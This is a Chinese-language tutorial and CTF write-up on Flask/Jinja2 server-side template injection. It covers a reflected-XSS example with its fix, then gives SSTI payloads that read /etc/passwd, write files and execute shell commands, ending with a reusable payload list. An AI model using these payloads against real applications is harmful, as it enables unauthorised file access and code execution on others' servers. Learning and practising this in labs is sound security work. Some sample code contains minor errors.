参考链接
从零学习flask模板注入 - FreeBuf网络安全行业门户
目录
flask基础
先看一段python代码
from flask import flask
@app.route('/index/')
def hello_world():
return 'hello world'
1.route :
route是装饰器,作用是将函数和url绑定在一起
样例中的代码就是当访问 127.0.0.1/index/时,flask回返回 hello world
2.渲染方法
flask的渲染方法有两种
1.render_template
render_template()用于渲染一个指定的文件,如
return render_template('index.html')
2.render_template_string
render_template_string 用于渲染字符串,如
html = '<h1> This is index page </h1>'
return render_template_string(html)
3.模板的使用
flask是使用jinja2做渲染引擎。
使用:在网站根目录下新建templates文件夹,用来存放html文件.也就是模板文件
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html')
/templata/index.html
<h1>{{content}}</h1>
这个页面仍然输出 This is index page
{{}}在Jinja2 中作为变量包裹标识符
模板注入
原因:不正确的使用 flask中的render_template_string方法会引发 SSTI。
1.xss注入
不正确的代码如下:
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
不正确的原因: code是用户可控的,用户通过 ?id= 即可对code进行控制,进而影响到
<h3>%s</h3> 导致 注入
当code为 </h3> <script>alert(1)</script> <h3>时,
执行的代码就变为
<h3> </h3> <script>alert(1)</script> <h3></h3>
导致反射型 xss的发生
修改
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
先将code转化为字符串,这样子就不会出现以上问题
如,原句被输出而不是当成JavaScript语言执行
2.SSTI文件读取/命令执行
基础知识
在Jinja2模板引擎中,{{}} 是变量包裹标识符,{{}}不仅仅可以传递变量,还可以执行一些简单的表达式,如
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
这个代码中,当用户通过输入 ?id={{2*4}} 时,会出现以下内容
文件读取
利用 40模板 <type 'file'>,payload 如下:
#1.获取字符串的类对象
{{''.__class__}}
#2.寻找基类
{{''.__class__.__mro__}}
#3.寻找可引用类
{{''.__class__.__mro__[2].__subclasses__()}}
#能引用的类
#{{''.__class__.__mro__[2].__subclasses__()[40]}} -> <type `file`>
#利用方式
{{''.__class__.__mro__[2].__subclasses__()[40]}('/etc/passwd').read()}
命令执行
利用的模板为 71 <class 'site._Printer'>,payload如下
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
listdir 是os中的函数,接路径
例题
攻防世界中的Web_python_template_injection
思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
解法:
1.首先确定有没有存在template 注入
显然,命令被执行了payload为 {{2*4}}
2.探查可以用的方法
payload如下:
{{''.__class__.__mro__[2].__subclasses__()}}
1.找以下 <type 'file'> ,为文件读取做准备
如图, <type 'file'> 是可以用的,下标为40
补充:序列号就是函数的位置,从第一个开始数,第一个为0
2.继续找<class 'site._Printer>,为命令执行做准备
<class 'site.Printer'> 也存在,序列号为 71
3.获取flag
先找到flag位置
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
读取fl4g文件
{{''.__class__.__mro__[2].__subclasses__()[40]('./fl4g').read()}}
补充
payload收集
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
几个魔法函数
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用